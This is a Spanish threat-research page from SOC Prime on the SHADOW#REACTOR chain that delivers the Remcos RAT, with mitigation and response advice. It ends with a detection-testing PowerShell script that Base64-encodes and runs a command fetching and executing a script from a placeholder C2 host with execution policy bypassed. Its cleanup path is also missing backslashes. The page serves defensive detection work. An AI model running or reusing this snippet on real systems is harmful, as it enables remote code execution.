SOC Prime Bias: Medio

15 Jan 2026 15:51 UTC

SHADOW#REACTOR – ALMACENAMIENTO SOLO TEXTO, .NET REACTOR, E IMPLEMENTACIÓN EN MEMORIA DEL REMCOS RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
SHADOW#REACTOR – ALMACENAMIENTO SOLO TEXTO, .NET REACTOR, E IMPLEMENTACIÓN EN MEMORIA DEL REMCOS RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

SHADOW#REACTOR es una cadena de malware de Windows de múltiples etapas que combina un lanzador VBS ofuscado, un descargador basado en PowerShell, artefactos de puesta en escena solo de texto, un cargador protegido por .NET Reactor y la ejecución de MSBuild para finalmente desplegar el troyano de acceso remoto Remcos (RAT).

Investigación

Los investigadores reconstruyeron el flujo comenzando con un script VBS recuperado de la infraestructura del atacante, seguido por rutinas de PowerShell que reensamblan y decodifican cargas útiles de texto en etapas. La cadena continúa con la carga reflexiva, en memoria, de un ensamblado .NET y un traspaso final a MSBuild, que desencadena la ejecución del RAT de Remcos. El informe documenta los componentes codificados en texto, la lógica de descifrado y los métodos de persistencia utilizados para mantener el acceso.

Mitigación

Aumente la cobertura de monitoreo para hosts e intérpretes de scripts y evite la ejecución de VBS/PowerShell desde rutas editables por el usuario donde sea posible. Agregue detecciones para tráfico HTTP saliente sospechoso hacia la infraestructura identificada, uso indebido de MSBuild y carga reflexiva de ensamblados .NET. Monitoree patrones comunes de persistencia, incluidas modificaciones de Run-key y entradas de inicio basadas en accesos directos.

Respuesta

Si se confirma la actividad de SHADOW#REACTOR, aísle el punto final y detenga toda la cadena de procesos (wscript.exe → powershell.exe → msbuild.exe). Elimine cualquier archivo de texto en etapa y artefactos de registro relacionados, y corrija eliminando los binarios de Remcos y los bloques de configuración asociados. Luego, realice una revisión forense exhaustiva para delimitar un compromiso adicional y asegurar la erradicación completa.

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante con derechos de movimiento lateral limitados desea ejecutar una carga útil remota en un host de Windows comprometido mientras evade las defensas típicas de bloqueo de scripts. Usan PowerShell con -ExecutionPolicy Bypass para ignorar las restricciones de política de ejecución. La carga útil maliciosa está ofuscada como una cadena codificada en Base64 que, cuando se decodifica, crea un System.Net.WebClient objeto para descargar un script de PowerShell desde un servidor C2 y lo invoca. Esta combinación satisface los tres criterios de detección (Bypass de ExecutionPolicy, FromBase64String, System.Net.WebClient).

  • Script de Prueba de Regresión:

    #--------------------------------------------
    # Ejecución simulada de PowerShell malicioso
    #--------------------------------------------
    # 1. Elaborar un script remoto simple (solo para demostración)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. Codificar el script en Base64
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. Ejecutar con Bypass de ExecutionPolicy y FromBase64String
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • Comandos de Limpieza:

    # Eliminar cualquier carga útil descargada y detener procesos de PowerShell persistentes
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue